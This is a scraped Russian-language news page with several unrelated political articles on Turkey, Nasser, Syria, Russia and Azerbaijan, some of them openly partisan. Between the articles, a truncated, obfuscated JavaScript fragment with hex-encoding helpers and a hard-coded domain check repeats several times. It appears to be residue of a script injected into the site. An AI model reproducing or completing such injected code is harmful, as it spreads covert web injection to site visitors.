всем, кто будет думать по-другому, чем действующая власть?  Очевидно, всё перечисленное вместе…

 

Другое стратегическое направление общественной жизни Турции,проводимое действующим правительством под лозунгом «усиление культуры и образования»,обернулось уничтожением любого инакомыслия в обществе. Интеллигенция,представители науки фактически дистанцировались от действующего правительства. Подтверждение этому – открытое обращение 1128 турецких и зарубежных учёных к правительству страны в январе этого года.В петиции, получившей название «Мы не будем частью этого преступления», сказано: «Мы осуждаем все виды давления власти на оппозицию. Требуем прекратить немедленно насилие против граждан страны. Мы, учёные этой страны, не будем молчать и становиться немыми свидетелями преступлений властей».Президент Турции тут же обвинил деятелей науки в невежестве: «Эта толпа, которая называет себя учёными, обвиняет государство в своём заявлении. Эй вы, так называемая интеллигенция! Вы не просвещённые, а тёмные люди. Вы совсем не похожи на интеллектуалов. Вы невежды и ничего не знаете о востоке и юго-востоке (Турции). А мы знаем этот регион как свои домашние адреса». Допускаю, что президент хорошо знает географию своей страны.Но он точно не знает, что среди подписавших обращение к правительству – «звёзды» современной науки, причём не только турецкой:философ мирового масштаба,выдающийся интеллектуал Ноам Хомский, один из самых цитируемых интеллектуалов всех времён и народовв области гуманитарных и общественных наук Дэвид Харви, социолог, один из основателей мир-системного анализа Иммануил Валлерстайн. Мнение этих людей для мировой общественности часто несравнимо выше и значимее,чем слова отдельных президентов.Поэтому правительство Турции может уверенно зачислить «в актив» потерю доверия ещё одной значительной группы избирателей – учёных и преподавателей,а вместе с ними – и активного и многочисленного отряда студентов высших учебных заведений страны.

Кроме учёных и молодёжи, к «потерянным» избирателям однозначно можно отнести военных Турции и членов их семей. После «чистки», проведённой в армии, традиционно самойзначительной политической силы Турции, под видом существования мифического заговора, были уничтожена плеяда потомственных военных,выходцев из самых известных семей.

Но самой большой проблемой для правительства Турции может обернуться потеря доверия у «тихой» и «молчаливой», но при этом, возможно, ключевой части электората, – крупных финансовыхинститутов и инвестиционных групп. Крупный бизнес Турции – это самое «проблемное место» для действующего правительства, потому что, как известно, никто не будет мириться с миллиардными потерями. «Большие деньги»,сопоставляющие своё будущее с государственной политикой,уже многие годы систематически теряют миллиардные вложения по всем направлениям внешней политики Турции. Это произошло в Сирии, в Египте, в Украине. А потери турецких инвесторов в России из-за непродуманных (а в случае со сбитым российским самолётом – просто провокационных) действий действующего правительства Турции, сталикатастрофическими и для внутренней, и для внешней экономики. Нет ни одной области, которая не оказалась бы в значительном убытке: строительство,туризм,транспортная инфраструктура,лёгкая промышленность, производство продуктов питания. В 2014 году россияне обеспечили 12 процентов всего туризма Турции и принесли в эту отрасль экономики $2,7 млрд. А российские предприниматели, занятые в частном бизнесе, «добавили» экономике Турции ещё $4 млрд.В этом году страна,- особенно после терактов в Анкаре и в Стамбуле,- потеряла не только российских, но и немецких туристов, которые стабильно делили между собой первые и второе места по количеству туристов, посещающих Турцию. Теперь о туристах из России и Германии турецкий гостиничный бизнес, общепит и торговля будут только мечтать, как о навсегда прошедших золотых временах. В результате – весь огромныйперсонал, занятый в этих сферах, включая кожевенные и текстильныефабрики, кафе и рестораны, отели и курорты, скажут «спасибо» собственномуправительству с вытекающими выводами на вотумах доверия.

Значительные потери несёт сельское хозяйство Турции, лишившисьогромного, неограниченного рынка сбыта, каким была Россия, и, соответственно, одна из главных политических опор действующего режима – жители села. Овощеводство, плодоводство,цветоводство,расцветшие за счёт гарантированногопотребления, испытывают самые большие трудности из-за кардинального ограничения сбыта. На этом фоне обостряется давняя проблема турецкого сельского хозяйства, состоящего, восновном, из небольших мелких хозяйств с невысокой экономической отдачей, которымтеперь уготован один путь – разорение. Для правительстваэто уже обернулось потерей самого верного электората в виде жителей сельской местности.Конечно, своё «спасибо» скажут банки, кредитующие эти направления, и оказавшиеся в тяжелейшем положении. А для иностранных инвесторов – это верный показатель того, что Турция – территория «опасных инвестиций».

Прямым доказательством потери ПСР электората стали события в политической жизни Турции прошлого года.В июне ПСР впервые за десять лет потеряла большинство в турецком парламенте. Не удалось добиться главной цели – внести изменения в конституцию и превратить Турцию из парламентской республики в президентскую. Зато впервые преодолела избирательный барьер Народно-демократическая партия. В результате так и не удалось сформировать коалиционное правительство, и в стране произошёл серьёзный политический кризис, приведшийк роспуску Великого национального собрания и объявлению досрочных парламентских ​выборов. Вноябре, включив все административные рычаги,ПСР вышла на «последний бой» и набрала чуть больше восьми процентов, чем в июне, и только так снова стала «правящей силой». Для всех экспертов очевидно, что политические баталии в стране не только не закончились этими досрочными выборами – страну ожидает серьёзное гражданское противостояние. Для действующего правительства Турции появилась усиливающаясяс каждым днём опасность повторения той самой ситуации, котораякогда-то привела к победе Партию справедливости и развития. Но на этот раз ситуация обернётся против самой действующей власти.

Айгюнь Керимли

http://ethnoglobus.az/index.php/blizhnij-vostok/turtsiya/item/1572-%D1%82%D1%83%D1%80%D1%86%D0%B8%D1%8F-%D0%BE%D1%82-%D1%8D%D0%BA%D0%BE%D0%BD%D0%BE%D0%BC%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B3%D0%BE-%D1%87%D1%83%D0%B4%D0%B0-%E2%80%93-%D0%BA-%D0%BA%D1%80%D0%B8%D0%B7%D0%B8%D1%81%D1%83-%D0%B4%D0%BE%D0%B2%D0%B5%D1%80%D0%B8%D1%8F

 

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=»»,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "turkishnews.com"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

Гамаль Абд ан-Насир (جمال عبد الناصر) родился 15 января 1918 года в Александрии, а не в Бени-Мур провинция Асьют (верхнее течение Нила). Арабы Египта произносят Гамал, а не Жамил как в стандартном арабском. Гамаль Абд ан-Насир умер своей смертью от инфаркта миакарда 28 сентября 1970 года в Каире в возрасте 52 лет. Гамаль родился в семье почтового служащего. [1] В 1935 окончил среднюю школу в Каире.

В последние годы правления короля Фарука высокой степени достигла политизация образованного класса, например, в школе, в вузе и на воинской службе было возможно заниматься антиправительственной заговорщицкой деятельностью. Если в арабских школах ученики ограничивались нелояльными к власти диспутами, то школьник Гамаль, в своей политической активности пошел дальше: участвовал в демонстрации, получил от полицейского по лбу, полученным шрамом гордился всю жизнь и при случае рассказывал. [2] Биография Насера, как биография любого диктатора, сфальсифицирована и героизирована. История со шрамом на лбу разрасталась героическими подробностями после каждого газетного интервью. Выяснилось, что это не банальный удар полицейского в лоб с рассечением, а пуля в лоб, после которой была серьезнейшая операция. Героический мальчик остался жив и, впоследствии спас Египет от жестоких колонизаторов и их приспешников. Нет никаких сомнений, что Насер героическая и пассионарная личность. Но в этой истории есть противоречия и логические нестыковки.

В 1939 — служил в военном училище младшим лейтенантом. Служил в воинских частях в Египте и Судане. В 1942 году был направлен в военный колледж Генерального штаба, который закончил с отличием. Участник арабо-израильской войны 1948-49, был ранен. В более зрелом возрасте арабское разночинское офицерство создавало тайные политические организации. Наконец, наиболее известной была организация «Свободные офицеры», готовившие заговор против короля Фарука. Организаций недовольных режимом офицеров было немало. Особенно много недовольных стало после арабо-израильской войны 1948 года, когда в Египет оказался числе арабских стран проигравшей стороны. В начале 1950-х годов создаются условия для консолидации военных, подобных Насеру и Анвару Садату, ставшего впоследствии вице-президентом и президентом Египта после смерти Насера. Среди заговорщиков было немало радикальных личностей, склонных к террористическим действиям, имевших судимость за терроризм. [3]

Организация «Свободные офицеры» Насера заставила 26 июля 1952 г. короля Фарука уйти в отставку.

Тот удалился сперва в Шарм Аш-Шейх, теперь это курортное место с фешенебельными отелями. Затем король Фарук бежал в Монако, но жил Риме. Короля Фарука в народе не любили. Может быть, потому что был слишком покладист для Британских интересов. Может быть, из-за женитьбы во втором браке на простолюдинке. А еще в народе говорили, что король «хлыщ еще тот» : завел шашни английской писательницей второго эшелона, затем итальянской певичкой. Да Фарук Первый (فاروق الأول) был человеком любвеобильным и делал это напоказ. Вообще члены королевской семьи вели себя вполне светски, говорили по-английски и по-французски, одевались и жили по европейским манерам. Разумеется, казна королевства тратила огромные деньги на королевские прихоти. И народ об тоже знал.

Среди девяти членов Комитета движения «Свободных офицеров» был подполковник Гамаль Абдель Насер. Заговорщики попросили Али Махир возглавить правительство. «Свободные офицеры» сформировали «Совет революционного командования» (СРК). Только через два года после революции 1952 года власть переходит к Насеру. Путем политических интриг и вероломства, являясь вторым лицом, премьер-министром правительства, Насеру удалось отстранить официального руководителя страны- Нагиба. По части интриг, вероломства и жестокости обращения с политическими оппонентами и просто конкурентами арабские лидеры многое взяли из опыта лидеров СССР и собственных деспотов. Арабские диктаторы – Саддам Хуссейн, Муаммар Каддафи, Анвар Садат, отец и сын Асады по сути их наследники на Арабском Востоке в 20 веке. С приходом в Египет к власти Насера и «ростом его авторитета в арабском мире» ситуация в регионе снова обострилась. Насер, стремясь воплотить в жизнь пан арабскую идею, предполагал вытеснить англичан с региона, уничтожить Израиль и восстановить господство и былое превалирование ислама в регионе. Насер был настроен против США, Великобритании и Израиля. Он стал союзником СССР. Советский Союз поддерживал Египет в ее панарабских устремлениях. Отказ Запада в строительстве Асуана означал дальнейшее ухудшение отношений Египта с Западом и Израилем. Насер надумал национализировать Суэцкий канал. В ответ произошла Англо-Франко-Израильская агрессия против Египта (1956). Благодаря помощи СССР Насер выпутался из безнадежной ситуации.

Насер активно выступал за «единство арабских народов в их борьбе против империализма и за национальную независимость». На деле это оказалось очередным проявлением панарабизма. Объединенная Арабская Республика (ОАР) в 1958-1971 гг. на огромной территории в Северной Африке и Передней Азии, в 1961 года являлась союзом двух стран — Сирии и Египта. Реально это была конфедерация арабских государств. Это было импульсивным и рыхлым объединением и было создано на основе идеологии баасизма и панарабизма. Насер осуществил комплексный набор классических социалистических реформ: В 1960 — 1961 гг. в ОАР произошла национализации банков и частных предприятий в объединенной стране. В ее руководстве доминировали египтяне, но сирийцы также занимали многие важные посты. Однако вскоре Насер распустил все сирийские политические партии. В Сирии началась масштабная национализация сельского хозяйства, а затем промышленности и банковского сектора. [4]Конфедерация арабских государств оказалась слабой: объединенная республика периодический консолидировалась и расконсолидировалась. Наконец, конфедерация распалось окончательно. Последствия экономических преобразований оказались негативными. Произошло дестимулирование хозяйственного механизма в банковской, промышленной и аграрной сферах. Несмотря на помощь СССР, ситуация в Египте и других арабских странах шла по линии углубления общего системного кризиса. Насеру не удалось ни собрать воедино арабские страны, ни обеспечить развитие индустриального, банковского, аграрного секторов. Военный потенциал арабских стран был недостаточен и не мог обеспечить общеарабской победы над Израилем. Насер, председатель Арабского социалистического союза, несмотря на новое военное поражение Египта в арабо-израильской войне 1967 года и, вызванные этим поражением экономические и политические трудности, он при поддержке народных масс продолжал курс на «осуществление прогрессивных» социально-экономических мероприятий.

В 1968 Насер выдвинул программу действий по ликвидации последствий поражения Египта в арабо-израильской войне 1967 года путем войны на истощение Израиля. Этот план не удался. Насер — инициатор и активный участник многих международных конференций глав государств и правительств, на которых отстаивал дело народов, борющихся за свободу и независимость. Борьба за независимость несомненно прогрессивное явление. Но она сопровождалась войной между вновь образованными странами-соседями, чуть ли ни на второй день. Изнурительные войны разрушали все пост колониальные страны. Следует сказать о позитивной стороне работы Насера. Во-первых, была построена Асуанская плотина. Правда, она строилась слишком долго. Были объективные и субъективные причины. Финансовое, инженерное, технологическое обеспечение проекта перешло от западных стран к СССР. Это был серьезный шаг в индустриализации страны. [5]Во-вторых, Египет стал вполне независимым государством. Египет с этих пор –лидер арабского мира. Хотя не удалось создать единое арабское государство, удалось создать конфедерацию арабских государств. Более того вырос местнический национализм. Попытки узаконить диалекты арабского языка как национальные языки в семье арабских языков. В-третьих, в Египте были расширены права женщин, включая избирательное право. Насер обеспечил терпимость и не дискриминацию коптов. Много сделано в повышении образовательного уровня населения. В сегодняшнем Египте грамотность на уровне 15%, еще 15%-полуграмотное, остальные — неграмотное население. Редко, где можно встретить работающую женщину. Чаще это копты-арабы христиане. Насер то заигрывал, то истреблял мусульманских экстремистов. В-четвертых, считается, что Насер создал средний класс. Но это были в большинстве своем государственные чиновники и офицерство в армии, полиции и других силовых структурах. В-пятых, им были уничтожены дискрептивы феодализма- помещичье землевладение. Однако раздача орошаемых помещичьих земель означало парцеллизацию участков. Орошаемые земли крестьян делились на бесконечно малые участки и превращались в обузу для крестьян. Прокормиться на таких маленьких участках было невозможно. В-шестых, Насер создал сперва демократическое государство, свергнув королевскую власть. Но его режим трансформировался в авторитаризм и диктатуру.

Насер провел в Египте только частичную модернизацию. Но он проводил ее в крайне неблагоприятных условиях. Это такие факторы: отказ от рыночных механизмов. Блокада Египта Западом и изоляция от стран Запада. Насер не диверсифицировал международные отношения Египта в период «холодной войны». Насер окончательно испортил отношения с Западом в ходе войн Египта с Западом и Израилем в 1956 и 1967 и период войны на истощения Израиля. В 1956 году он едва не спровоцировал Третью мировую войну, балансируя на грани термоядерной войны. Милитаризм-опора на военных и бюрократию. Вот социальная опора режима. Популизм и арабский национализм. Проявлением социального популизма были субсидии государства на основные продукты питания городскому плебсу. Арабский национал – популизм на держится на идее арабского мира. Арабский религиозный популизм стоит на фундаментальном исламе. Значительная часть государственных расходов шла на военизацию. Войны Египта были неудачны. Оружие получали из СССР и стран Варшавского пакта. Египет был «в долгах как в шелках» и не мог возвратить долги. Он дружил только с Советским Союзом и эту конфронтацию до уровня жесткого противостояния. За приверженность внешнеполитическому к курсу СССР Насер был удостоен звания Героя Советского Союза. Зато Насеру не удалось оседлать движение «позитивного нейтралитета». Существовала невозможность получения кредитов у Запада. Высокий уровень перенаселения в стране, из-за высокого уровня воспроизводства населения и высокой рождаемости. Высокая миграция в крупные города и формирование значительного слоя городских пауперов. Городские пауперы тротиловый заряд городских революций. Невозможность обеспечить детей дошкольными и школьными учреждениями. Быстрорастущее население невозможно было обеспечить медицинскими учреждениями. [6]

…………………………………….

1.http://www.peoples.ru/state/statesmen/naser/

2. http://nasser.bibalex.org/Common/pictures01-%20sira.htm السيرة الذاتية

3. ; Азимбай Гали Президент Египта Мухаммад Анвар аль-Садат (история) 13.03.2016 www.centrasia.ru; https://www.onwar.com/aced/chrono/c1900s/yr50/fegypt1952b.htm

4. https://ru.wikipedia.org/wiki

5. http://www.britannica.com/biography/Gamal-Abdel-Nasser

6. Азимбай Гали Arabica-кофе без кофеина. Причины кризиса в арабском мире и его последствия. Palmarium academic publishing. Saarbrucken. 2015,57c.

Автор: Азимбай Гали — доктор исторических наук, Алматы

Источник — ЦентрАзия

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=»»,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "turkishnews.com"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

В Азербайджанe начались празднование Новруз байрам.  В Крепостной части Баку открыты шатры для продажи продукции народных умельцев.

Примечательно, что в этом году много можно было увидеть также шатры , где продавались книги. которые привлекало внимание гостей. 

Также , как и предыдущие годы демонстрировались рукоделия мастеров , имеющих инвалидность.

Также проводились акции  сбора денег для детей инвалидов.

Гости также могли ознакомиться косметической продукцией Азербайджана.

Гостей радует песни и музыка, канотоходцы и силачи. Персонажи азербайджанских народных сказоки герои Новруза любимцы гостей.

Эта древняя традиция Новруза помогать неимущим и больным , поддерживать нуждающихся.

Как всегда можно увидеть много гостей из Ирана. Но с каждым годом Азербайджан в дни Новруз посещают

много гостей из разных стран, которые могли воспользоваться услугами волонтеров.

Новруз продолжается в поселке Гала, где находится музей на открытом воздухе.

Несмотря на то что российско-турецкие отношения переживают сильнейший кризис за последние двадцать пять лет, оба государства должны взаимодействовать в борьбе против исламского терроризма. Кроме того, Россия и Турция могли бы совместно противостоять США, считает сотрудник Стамбульского университета, доктор исторических наук Мехмет Перинчек.

Политолог отмечает, что союз Москвы и Анкары на Ближнем Востоке неизбежен: только совместными усилиями можно победить терроризм, причём дожидаться ухудшения ситуации в регионе не стоит. В интервью «Русской планете» аналитик подчеркнул, что глава Турецкой республики Реджеп Тайип Эрдоган совершил большую ошибку, сбив российский бомбардировщик Су-24.

«Но нужно отделять саму страну от действий её руководства. Случившееся больно ударило не только по Москве, но и по Анкаре», — полагает Перинчек. Он убеждён, что сегодня для Турции остаётся весьма существенной угроза со стороны Вашингтона, и для сохранения суверенитета государству нужно создавать международные союзы. Сведя на нет отношения с Россией, республика осталась буквально одна, отмечает политолог. «Это идёт на руку США, которые привлекут Анкару на свою сторону, прикрываясь российской угрозой, будут использовать турков в своих интересах и попробуют разделить республику», — выразил мнение эксперт. Помешать американским планам способно налаживание российско-турецких отношений. К тому же у государств есть общие интересы на Кавказе, говорит Перинчек. «Сейчас Анкара должна исправить свою ошибку. Нужно понимать, что Россия и Турция столкнулись с американской угрозой, а сложившаяся ситуация отвечает лишь интересам Вашингтона», — резюмировал политолог.

Вывод российской группировки из Сирии, ставший приятной неожиданностью для США и противников Башара Асада, может отвернуть от Москвы Дамаск, Тегеран и «Хезболлу». Пентагон призывает не торопить события, а госсекретарь США Джон Керри – воспользоваться выпавшим шансом и положить конец войне в Сирии. Однако завершение кампании может не только способствовать мирным переговорам, но и обернуться распадом Сирии.

Джон Керри посетит Москву на следующей неделе, и сирийская тема станет центральной в повестке дня. Дипломаты обсудят и другие аспекты ситуации на Ближнем Востоке и в Северной Африке с учетом расползания «Исламского государства» (ИГ, запрещенная в России террористическая группировка. – «НГ»), заявил вчера глава МИД РФ Сергей Лавров.

По словам представителя Госдепа Джона Кирби, цель поездки его шефа – «поиск путей для продвижения политического процесса в Сирии». Сам Керри в Twitter написал, что через пять лет после начала гражданской войны в Сирии появилась реальная возможность покончить с насилием, и этим моментом нужно воспользоваться. Решение о выводе российской группировки совпало с началом мирных переговоров между правительственной делегацией и оппозиционными группировками в Женеве, и теперь у повстанцев нет причин игнорировать консультации.

Однако военные США настороженно отнеслись к инициативе Владимира Путина о выводе группировки. Официальный представитель Пентагона Питер Кук заявил, что США будут «ждать, чтобы убедиться», действительно ли Путин искренен в своем решении, пишет Hill. Он добавил, что Пентагон зафиксировал продолжение авиаударов в Сирии после заявления президента РФ.

В свою очередь, Кирби заметил, что США «не знают, не понимают и не могут комментировать мотивы, побудившие главу России объявить о выводе ВКС». Но это решение является «потенциально обнадеживающим и позитивным знаком».

Как пишет Financial Times со ссылкой на высокопоставленный источник в европейских спецслужбах, Россия вывела войска, потому что ее план блицкрига провалился. Москва рассчитывала провести быструю военную кампанию и за несколько месяцев помочь Асаду вернуть контроль над территориями и ослабить повстанцев. Однако ожесточенное сопротивление оппозиции, напряженное противостояние с Турцией и перспектива того, что мировые цены на нефть останутся на уровне 40 долл. за баррель, больно ударили по России и сократили ее возможности.

Тем временем в Москву прибыл президент Израиля Реувен Ривлин с целью заручиться поддержкой России на Ближнем Востоке. Издание Walla со ссылкой на источники в руководстве Израиля пишет, что там пытаются понять, что заставило Москву вывести свой контингент. На вчерашней встрече с Путиным Ривлин выразил озабоченность в связи с укреплением позиций Ирана и «Хезболлы», создавших шиитскую ось в канун и после ухода российской группировки.

И здесь позиции России и Израиля, по мнению Тель-Авива, совпадают. «Русские не хотят допустить чрезмерного усиления Ирана, – уверен источник в окружении Ривлина. – Они также понимают, что укрепление позиций «Хезболлы» в Сирии плохо для всех». Израиль, формально сохраняя нейтральную позицию в Сирии, периодически наносит авиаудары, чтобы сорвать переброску оружия «Хезболлой».

Арабские СМИ сообщили, что после заявления Путина «Хезболла» якобы приступила к выводу отрядов из Сирии. Однако сама группировка назвала эти слухи нелепыми «проявлениями психологической войны» медиа, работающих по указке ближневосточных монархий.

Иран позитивно оценил вывод российских подразделений. «Тот факт, что в России объявили, что отзывают часть своих сил, указывает на то, что они не видят непосредственной необходимости прибегать к применению силы в поддержании режима прекращения огня, – заявил глава МИД Ирана Мохаммад Джавад Зариф, передает Press TV. – Это само по себе положительный шаг».

Однако в действительности Тегеран может придерживаться прямо противоположной позиции, утверждает Bloomberg. Вывод войск грозит охлаждением отношений между Россией и Ираном.

Старший научный сотрудник Института востоковедения РАН Владимир Сажин обратил внимание еще на один аспект. «Я бы не сказал, что наши отношения когда-либо были очень хорошими, чтобы ухудшились еще сильнее. И даже президент Хасан Рухани, который положительно относится к России и при котором наши связи углубились, признал, что у Москвы и Тегерана нет совпадения позиций по Сирии, – заявил он «НГ». – Иран не может потерять дружественное алавитское руководство в Сирии, а России по большому счету безразлично, кто будет новым руководителем – суннит, алавит, христианин, – главное, чтобы он понимал и оценивал реальные интересы России в регионе».

При этом эксперт напомнил о разногласиях в самом Тегеране. «Иран официально приветствовал решение России. Если же говорить о реальном положении, то в элите нет единого мнения о роли Ирана в Сирии и соответственно роли России в этой стране, – подчеркнул Сажин. – Внутриполитическая ситуация в Иране очень сложная: Корпус стражей иранской революции ратует за усиление Ирана в Сирии, так называемые реформаторы предлагают решать конфликт дипломатическим путем, третья группа предлагает воевать чужими руками и нанимать добровольцев, отправляя их в Сирию. За последние полтора года Иран понес колоссальные потери: погибли восемь генералов, что вызвало недовольство в Тегеране».

Для сирийских властей слова Путина тоже стали сюрпризом, заявили источники в правительстве в беседе с ливанской газетой As-Safir. Собеседники раскритиковали договоренности России и США, которые, по их словам, нивелировали давление на повстанцев.

Вывод войск может не только пошатнуть позиции Асада, но и расколоть Сирию. Курды, контролирующие север страны, готовятся объявить об автономии или хотя бы расширить рамки самоуправления и создать собственные органы исполнительной власти, передает Reuters. Курды объединят три автономных района в единую федеральную систему, и это уже крайне встревожило Анкару, которая опасается, что следующим шагом станет создание независимого Курдистана на территории Сирии, Ирака и Турции.

Евгений Медведев

17.03.16

Источник — ng.ru

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=»»,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "turkishnews.com"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

Тофик Аббасов

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=»»,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "turkishnews.com"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

5 марта исполнилось пять лет со времени начала весной 2011 года большой сирийской смуты, переросшей в гражданскую войну и иностранную интервенцию. В тот день, 15 марта 2011 года, полиция задержала в городе Дераа нескольких подростков, рисовавших антиправительственные лозунги на стенах домов. Через несколько дней стало известно, что некоторые из задержанных умерли под пытками в тюрьме. Известие всколыхнуло население Дераа и других городов, в стране начались массовые антиправительственные демонстрации, усиленные вмешательством в сирийские дела Саудовской Аравии, Турции и Запада…

Внешние силы умело использовали сложившиеся в Сирии к началу 2011 года предпосылки внутреннего кризиса. Большой ущерб стране нанесли либеральные экономические реформы, проводившиеся в начале 2000-х годов Абдаллой Дардари (его называли «сирийским Чубайсом»). В результате «реформ» возросло социальное неравенство; появившееся недовольство усугублялось всевластием сирийских спецслужб, которых в стране насчитывалось двенадцать и которые начали подменять собой партию БААС. Положение осложнялось тем, что в 2004-2009 годах в Сирии свирепствовала засуха, около трех миллионов сельских жителей перебрались в города. Там им приходилось жить в трущобных поселках, на грани нищеты, и это была готовая почва для распространения пропаганды экстремистов-салафитов.

Вместе с тем по сравнению с Египтом, Йеменом и еще добрым десятком арабских государств Сирия была благополучной страной с динамично развивающейся экономикой, полностью обеспечивавшей себя продовольствием, активно влиявшей на обстановку на Ближнем Востоке.

Это влияние и стало причиной ненависти, которые недруги Сирии выплеснули на нее с началом кризиса. Наибольшее недовольство Вашингтона и его региональных союзников, Саудовской Аравии и Турции, вызывало участие Сирии в «оси сопротивления», военно-политическом блоке , членами которого являлись Тегеран, Дамаск и движение «Хезболла» в Ливане. Кстати, именно этой коалиции удалось остановить израильскую агрессию в Ливане в 2006 году.

«Ось сопротивления» мешала Вашингтону осуществить неоколониальный передел Ближнего Востока. Уже в июле 2011 года американский посол в Сирии Роберт Форд посетил Хаму, где выразил свою поддержку оппозиционерам, митингующим против правительства, открыто вмешавшись во внутренние дела страны.

Сыграло свою роль и региональное соперничество между Саудовской Аравией и Ираном. В попытках ослабить влияние Исламской Республики саудовская королевская семья приняла решение свергнуть сирийский режим. Весной 2011 года министр иностранных дел Саудовской Аравии Сауд аль-Фейсал в беседе с главой администрации бывшего американского вице-президента Дика Чейни Джоном Ханной выразил уверенность, что смена режима в Сирии будет чрезвычайно благотворной для Саудовской Аравии: «Король, — заявил он, — знает, что ничто кроме краха самой Исламской Республики не может ослабить Иран сильнее, чем потеря Сирии».

Особо предательской по отношению к Сирии была роль Турции. Надо напомнить, что в период президентства Башара Асада произошло существенное улучшение сирийско-турецких отношений. Турецкий министр иностранных дел Ахмет Давутоглу проводил в Дамаске с сирийским президентом больше времени, чем со своей семьей в Турции. Между двумя странами было подписано соглашение о Зоне свободной торговли.

Однако после начала кризиса в Сирии правительство Эрдогана резко поменяло курс и нацелилось на смену режима в Дамаске. Уже в ноябре 2011 года в турецком Искендеруне была открыта база для тренировок сирийских боевиков.

На первом этапе конфликта (до лета 2013 года) американцы поручили вести «сирийское досье» Турции и Катару. В мае 2012 года в Дамаске побывала катарская делегация, обещавшая прекратить враждебные действия против Сирии, в случае если Башар Асад согласится отдать ключевые посты в правительстве страны «Братьям-мусульманам», патронируемым Анкарой и Дохой. То есть Асаду прямо предложили передать страну под внешнее управление. Когда же он отказался, против его страны началась необъявленная война.

Очень скоро вслед за поставками оружия сирийской оппозиции Турцией, Катаром, Саудовской Аравией и странами НАТО в Сирию стали съезжаться «воины джихада» из десятков стран мира. Первые боевики, составившие потом костяк террористической группировки «Исламское государство», прибыли в Сирию из Ирака в феврале 2012 года с ведома ЦРУ США…

В результате к началу 2013 года Сирия стараниями таких ее «друзей» превратилась в настоящий рай для джихадистов и в ад для собственных жителей. К лету 2013 года радикальные исламисты оттеснили умеренную оппозицию, представленную Сирийской свободной армией (ССА) и уверенно перехватили инициативу в гражданской войне.

«Друзья Сирии» часто лицемерно сетуют на бомбардировки и обстрелы городов и жилых кварталов сирийскими правительственными войсками. Это чистой воды лицемерие: военно-политический конфликт в стране никогда не достиг бы такого ожесточения, если бы Запад и монархии Персидского залива не подливали регулярно масло в огонь гражданской войны. В итоге ведущими силами в антиправительственном лагере стали радикальные исламистские организации «Исламское государство» и «Джабхат ан-Нусра», оттеснившие или поглотившие мелкие группировки. Некоторое исключение составляла разве что просаудовская «Армия ислама» («Джейш аль-Ислам»).

Не будем обманываться: если бы в 2013-2014 годах «друзьям Сирии» удалось свергнуть Башара Асада, власть все равно не досталась бы «умеренным». Страна оказалась бы поделенной между различными вооруженными формированиями, которые сразу же начали бы выяснять отношения друг с другом. Сирия точно превратилась бы во вторую Ливию – одичавшую, безгосударственную территорию хаоса.

На этом фоне другом Сирии, наряду с Ираном, выступила Россия. Напомним, что вплоть до 2015 года Россия не вмешивалась в конфликт и не поставляла Башару Асаду оружие. Вместе с тем Москва твердо выступала против любых попыток внешних сил решить судьбу Сирии, игнорируя волю сирийского народа. Трижды Россия накладывала вето при голосовании резолюций в Совете Безопасности ООН, пресекая попытки Запада «легализовать» вмешательство в сирийские дела. Лишь благодаря такой позиции Москвы Соединенным Штатам не удалось повторить в Сирии ливийский вариант.

Военное вмешательство России в сирийский конфликт, начавшееся в сентябре 2015 года, коренным образом отличается от интервенции США и их союзников. Только Россия и Иран присутствуют в Сирии по официальной просьбе законного правительства Сирийской Арабской Республики.

За пять с половиной месяцев российским Воздушно-космическим силам удалось сделать то, что американцы не смогли (вернее, не захотели) сделать за полтора года: остановить дальнейшую экспансию «Исламского государства» и подорвать основы ее существования. Для нетеррористических группировок вооруженной оппозиции российская военная операция стала образцом «принуждения к миру», что и продемонстрировало начало Женевских переговоров.

Женевский форум должен привести Сирию к долгожданному умиротворению. Конечно, политическая система страны не останется прежней, какой она была до начала конфликта. Предстоит Сирии и существенное обновление политической элиты. Однако эти вопросы будет уже решать сирийский народ, а не западные стратеги и не шейхи с берегов Персидского залива.

Александр КУЗНЕЦОВ | 16.03.2016 |

Источник — fondsk.ru

Игорь Панкратенко, специально для haqqin.az 

Гюльнара Инандж, директор Международного онлайн информационно-аналитического центра Этноглобус

Исторически на территории Азербайджанского государства совместно с тюрками мирно проживали представители разных этносов и религий, что свидетельствует о культуре толерантности титульной нации.

Взаимоотношения государствообразующего этноса с малочисленными народами является одним из основных элементов совместного проживания в многонациональной стране. В корнях этих отношений лежат генетический код титульного народа, историческая память, характер, сформированный тысячелетиями на подсознательном уровне в соответствии с географическими условиями и ментальностью.

Азербайджанские тюрки открывались к мировым культурам и религиям, избегали грубого сопротивления современным требованиям и вызовам, что в свою очередь оставило следы в многогранной, богатой культуре народа. Азербайджанское общество не отталкивало народы, проживающие рядом как инородное тело, наоборот создавало все условия для комфортного проживания представителей разных культур. Толерантность азербайджанских (вообще тюркского этноса) тюрков позволяла им строить доверительные отношения с соседствующими с ними этносами.

Взаимоотношения титульной нации с малочисленными народами в составе единого государства является одним из основ составляющих столбы государственности. Их плавность и доверительность зависит от многих факторов – толерантности и терпимости титульной нации, его этнического и национального самосознания, условий создания государственности, геополитических процессов и т.д.

Исторически в Азербайджане неизвестны случаи нетерпимости или кровавых столкновений на национальной и религиозной почве между тюрками и этносами, исконно проживающими на этих землях или переселившимися сюда в результате разных процессов. Исключением является армяно-азербайджанский конфликт, спровоцированный агрессивным армянским шовинизмом.

Культура толерантности тюрков-азери, обуславливающая этническое многообразие Азербайджана, в этнической памяти малочисленных народов не сформировала ненависть и недоверие к титульному этносу.

